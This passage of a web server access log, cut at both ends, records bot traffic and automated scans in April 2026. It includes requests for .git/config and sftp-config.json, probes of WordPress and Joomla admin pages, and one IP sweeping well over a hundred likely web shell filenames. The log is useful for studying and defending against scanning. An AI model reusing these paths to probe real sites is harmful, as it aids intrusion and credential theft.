Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0" 106.63.26.155 - - [09/Apr/2026:08:30:04 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0" 106.63.26.29 - - [09/Apr/2026:07:18:50 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0" 106.63.26.147 - - [09/Apr/2026:07:19:00 +0300] "GET /sitemap.xml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0" 103.65.237.233 - - [09/Apr/2026:07:43:40 +0300] "GET /sftp-config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 35.92.200.80 - - [09/Apr/2026:09:36:48 +0300] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Ubuntu/11.04 Chromium/17.0.963.56 Chrome/17.0.963.56 Safari/535.11" 109.123.249.14 - - [09/Apr/2026:09:44:30 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 43.153.73.200 - - [09/Apr/2026:11:59:59 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.63.32.44 - - [09/Apr/2026:10:32:21 +0300] "GET /a7.php HTTP/1.1" 301 795 "-" "-" 223.185.61.144 - - [09/Apr/2026:12:33:00 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 20.63.32.44 - - [09/Apr/2026:10:32:09 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 223.15.245.170 - - [09/Apr/2026:10:55:37 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.130.74.193 - - [09/Apr/2026:10:59:03 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 115.45.42.36 - - [09/Apr/2026:11:09:11 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.4345.112 Safari/537.36 SE 2.X MetaSr 1.0" 188.143.244.133 - - [09/Apr/2026:12:04:59 +0300] "GET /services/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 185.247.137.237 - - [09/Apr/2026:12:05:22 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/)" 69.171.231.112 - - [09/Apr/2026:14:56:01 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 62.60.130.210 - - [09/Apr/2026:13:00:26 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64; rv:119.0) Gecko/20100101 Firefox/119.0" 159.223.174.106 - - [09/Apr/2026:14:43:04 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 161.97.118.193 - - [09/Apr/2026:13:05:44 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 159.223.174.106 - - [09/Apr/2026:15:13:42 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 170.106.148.137 - - [09/Apr/2026:16:28:57 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.48.232.178 - - [09/Apr/2026:16:22:49 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 43.153.204.189 - - [09/Apr/2026:15:49:44 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 51.103.166.20 - - [09/Apr/2026:19:26:06 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 89.124.106.82 - - [09/Apr/2026:21:06:40 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" 182.44.10.67 - - [09/Apr/2026:17:11:17 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.166.253.94 - - [09/Apr/2026:20:41:53 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 141.98.11.23 - - [09/Apr/2026:18:42:33 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 35.74.243.157 - - [09/Apr/2026:19:36:49 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 207.180.233.81 - - [09/Apr/2026:18:58:11 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 89.116.29.85 - - [09/Apr/2026:20:15:19 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 45.153.34.37 - - [09/Apr/2026:23:27:22 +0300] "GET /administrator/index2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" 45.153.34.37 - - [09/Apr/2026:23:27:28 +0300] "GET /admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" 20.116.9.125 - - [10/Apr/2026:00:05:35 +0300] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 117.62.235.53 - - [09/Apr/2026:23:26:45 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 209.87.169.147 - - [09/Apr/2026:23:56:05 +0300] "GET /wp-includes/css/buttons.css HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 20.116.9.125 - - [10/Apr/2026:00:05:35 +0300] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.116.9.125 - - [10/Apr/2026:00:05:35 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 45.153.34.37 - - [09/Apr/2026:23:27:02 +0300] "GET /administrator/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" 45.153.34.37 - - [09/Apr/2026:23:26:50 +0300] "GET /administrator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" 43.135.115.233 - - [09/Apr/2026:21:36:25 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 45.153.34.37 - - [09/Apr/2026:23:27:41 +0300] "GET /joomla/administrator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" 45.153.34.37 - - [09/Apr/2026:23:27:44 +0300] "GET /cms/administrator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" 45.153.34.37 - - [09/Apr/2026:23:27:49 +0300] "GET /site/administrator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" 45.153.34.37 - - [09/Apr/2026:23:27:54 +0300] "GET /web/administrator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" 45.153.34.37 - - [09/Apr/2026:23:28:02 +0300] "GET /portal/administrator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" 20.151.141.131 - - [10/Apr/2026:01:25:58 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 98.95.152.161 - - [10/Apr/2026:01:41:58 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/131.0.0.0 Safari/537.36" 101.32.52.164 - - [10/Apr/2026:02:31:30 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 172.190.142.176 - - [10/Apr/2026:02:41:28 +0300] "GET /vanda.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:41:33 +0300] "GET /domains.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:41:36 +0300] "GET /144.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:41:40 +0300] "GET /asd.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:41:43 +0300] "GET /zc-104.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:41:45 +0300] "GET /rzki.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:41:48 +0300] "GET /xsas.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:41:50 +0300] "GET /d12.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:41:53 +0300] "GET /okxh.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:41:55 +0300] "GET /55b76.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:41:57 +0300] "GET /tt.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:41:59 +0300] "GET /maul.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:42:04 +0300] "GET /5b9ac.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:42:06 +0300] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:42:10 +0300] "GET /6kDPjgFTmvS.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:42:11 +0300] "GET /varb.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:42:15 +0300] "GET /lm15.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:42:17 +0300] "GET /clss.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:42:19 +0300] "GET /44.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:42:21 +0300] "GET /a5e0a.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:42:26 +0300] "GET /bo.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:42:51 +0300] "GET /jga.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:43:28 +0300] "GET /b.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:46:05 +0300] "GET /an.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:47:26 +0300] "GET /8xyz.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:47:44 +0300] "GET /ws68.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:47:57 +0300] "GET /xxx.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:48:49 +0300] "GET /900.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:49:18 +0300] "GET //autoxxi.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:50:25 +0300] "GET /myfilexxx.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:50:56 +0300] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:52:17 +0300] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:52:39 +0300] "GET /sodas.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:52:43 +0300] "GET /yw5bi63u.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:52:56 +0300] "GET /mh.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:54:23 +0300] "GET /inege.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:58:26 +0300] "GET /ms.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:44:54 +0300] "GET /wp-admin/network/users.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:45:08 +0300] "GET /ws66.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:46:23 +0300] "GET /gdn.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:46:32 +0300] "GET /redixsx.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:48:34 +0300] "GET /iyy.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:49:57 +0300] "GET /CDX1.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:54:41 +0300] "GET /public/ws49.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:54:45 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:54:48 +0300] "GET /sa.php7 HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:55:21 +0300] "GET /amp.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:57:31 +0300] "GET //nw.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:57:41 +0300] "GET /drhunthq.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:59:27 +0300] "GET /wp-the.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:03:00:56 +0300] "GET /public/file.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:03:01:06 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:03:01:11 +0300] "GET /ws77.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:40:51 +0300] "GET /ccs.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:40:54 +0300] "GET /grsiuk.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:40:58 +0300] "GET /wp-act.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:43:13 +0300] "GET /byypas.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:44:12 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:46:11 +0300] "GET /aboutc.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:49:35 +0300] "GET /ws48.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:50:48 +0300] "GET /3586%20b64.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:51:54 +0300] "GET /new.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:52:02 +0300] "GET /press.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:52:50 +0300] "GET /ws81.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:55:02 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:56:04 +0300] "GET /sid3.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:57:17 +0300] "GET /ajax.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:57:22 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:57:46 +0300] "GET /admin/index.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:58:35 +0300] "GET /hplfuns.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:59:22 +0300] "GET /155.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:59:54 +0300] "GET /wp-access.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:03:00:27 +0300] "GET /ws84.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:59:07 +0300] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:41:07 +0300] "GET /cu.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:42:32 +0300] "GET /56c53.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:44:32 +0300] "GET /wp-blogs.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:44:36 +0300] "GET /zlnckdxn.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:45:23 +0300] "GET /ewe.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:47:07 +0300] "GET /admin-ajax.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:48:25 +0300] "GET /ws61.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:49:29 +0300] "GET /1144452145_error_log.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:51:04 +0300] "GET /bmi.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:53:10 +0300] "GET /ws86.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:55:56 +0300] "GET /gettest.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:56:00 +0300] "GET /myfile.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:56:31 +0300] "GET /wp-png.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:03:00:00 +0300] "GET /hots.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:43:55 +0300] "GET /gfd.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:44:48 +0300] "GET /xwzs.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:45:38 +0300] "GET /aboute.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:50:38 +0300] "GET /karma_144a.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:51:11 +0300] "GET //bypltspd.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:52:10 +0300] "GET /file-mancvgertdxz.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:52:32 +0300] "GET /.qiodetme.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:53:30 +0300] "GET /s.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:54:10 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:54:13 +0300] "GET /wp9.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:54:17 +0300] "GET /public/vx.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:54:55 +0300] "GET /jp.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:55:30 +0300] "GET /abrand.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:56:19 +0300] "GET /xxw.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:58:17 +0300] "GET /wen.php HTTP/1.1" 301 795 "-" "-" 43.166.136.153 - - [10/Apr/2026:03:27:20 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 172.190.142.176 - - [10/Apr/2026:02:41:13 +0300] "GET /8.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:42:45 +0300] "GET /ws80.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:43:05 +0300] "GET /fs.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:44:25 +0300] "GET /bolt.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:46:45 +0300] "GET //cpp2.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:47:00 +0300] "GET /admlo.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:47:33 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:51:31 +0300] "GET //wp-links-opml.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:51:36 +0300] "GET /wp-admin/network/edit.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:51:46 +0300] "GET /ws82.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:53:44 +0300] "GET /ws83.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:53:50 +0300] "GET /ws75.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:54:05 +0300] "GET /motu.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:56:47 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:57:36 +0300] "GET /tool.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:58:11 +0300] "GET /a4.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:58:56 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:59:00 +0300] "GET /term.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:59:40 +0300] "GET /wp5.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:03:00:35 +0300] "GET /bnm.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:03:00:44 +0300] "GET /amax.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:03:00:48 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:41:23 +0300] "GET /ws60.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:42:37 +0300] "GET /tx78.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:43:47 +0300] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:43:49 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:44:05 +0300] "GET /callback.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:44:43 +0300] "GET /fs6.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:45:50 +0300] "GET /x9.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:46:27 +0300] "GET /first.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:48:10 +0300] "GET /njxjtooj.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:48:19 +0300] "GET /ws85.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:49:50 +0300] "GET /schallfuns.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:51:22 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:52:25 +0300] "GET /ws57.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:53:02 +0300] "GET /ws88.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:53:56 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [10/Apr/2026:02:53:59 +0300] "GET /abc.php 